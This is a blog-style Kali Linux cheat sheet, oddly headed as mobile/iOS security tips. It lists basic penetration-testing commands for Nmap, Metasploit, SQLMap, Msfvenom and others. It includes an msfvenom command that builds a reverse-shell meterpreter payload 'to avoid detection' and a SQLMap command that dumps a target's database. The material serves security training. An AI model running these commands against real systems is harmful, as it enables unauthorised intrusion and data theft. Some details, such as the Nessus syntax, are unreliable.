📱 Mobile Security Tips
Sarah Chen — iOS Security Specialist
What is Kali Linux?
Kali Linux is a Debian-based distribution specifically designed for penetration testing and security auditing. It comes pre-installed with numerous tools that help security professionals in various tasks, from scanning and exploitation to reporting.
Installation
Kali Linux can be installed as a standalone operating system, run from a Live USB, or deployed in a virtual machine. The official website provides comprehensive installation guides for various methods.
Basic Syntax
Most tools in Kali Linux can be executed from the terminal using the following basic syntax:
TOOL_NAME [OPTIONS] [TARGET]
Discovery
Nmap
Nmap is a powerful scanning tool used for network discovery and security auditing.
nmap -sS -sV -O -T4 TARGET_IP
Flags:
| Flag | Description |
|---|---|
| -sS | TCP SYN scan (stealth scan) |
| -sV | Service version detection |
| -O | Operating system detection |
| -T4 | Aggressive timing template |
Netdiscover
netdiscover -r 192.168.1.0/24
This tool is useful for discovering live hosts within a specified range.
Scanning
Metasploit
Metasploit is a framework used for exploiting vulnerabilities.
msfconsole
Start the Metasploit console, then use:
search type:exploit
To find exploits.
OpenVAS
openvas-start
This command starts the OpenVAS service, which allows for vulnerability scanning against various IPs.
Exploitation
SQLMap
SQLMap is a tool for detecting and exploiting SQL injection vulnerabilities.
sqlmap -u 'http://target.com/page.php?id=1' --risk=3 --level=5 --dump
This command targets a specific URL and attempts to extract information from it.
Analysis
Wireshark
Wireshark is used for packet capture and analysis.
wireshark
Launch Wireshark and start capturing packets.
Evasion
Msfvenom
Used to create payloads that avoid detection.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=YOUR_PORT -f exe -o payload.exe
Reporting
Nessus
nessus -q -x -T pdf -o report.pdf
This command generates a PDF report from the Nessus vulnerability scanning results.
Quick Reference Table
Below is a quick reference table for Kali Linux commands mentioned above:
| Tool | Command |
|---|---|
| Nmap | nmap -sS -sV -O -T4 TARGET_IP |
| Netdiscover | netdiscover -r 192.168.1.0/24 |
| Metasploit | msfconsole |
| OpenVAS | openvas-start |
| SQLMap | sqlmap -u ‘http://target.com/page.php?id=1’ –risk=3 –level=5 –dump |
| Wireshark | wireshark |
| Msfvenom | msfvenom -p windows/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=YOUR_PORT -f exe -o payload.exe |
| Nessus | nessus -q -x -T pdf -o report.pdf |
Pro Tips
– Always check the documentation or the help command (generally --help) for the tool you are using.
– Use -oN in Nmap to save a scan result to a readable file.
Real-World Examples
– A security analyst uses Nmap for preliminary scanning to identify live hosts and open ports on a network, then utilizes the information with Metasploit for targeted penetration testing.
– During audits, IT staff runs OpenVAS to get vulnerability reports and address potential issues before threats arise.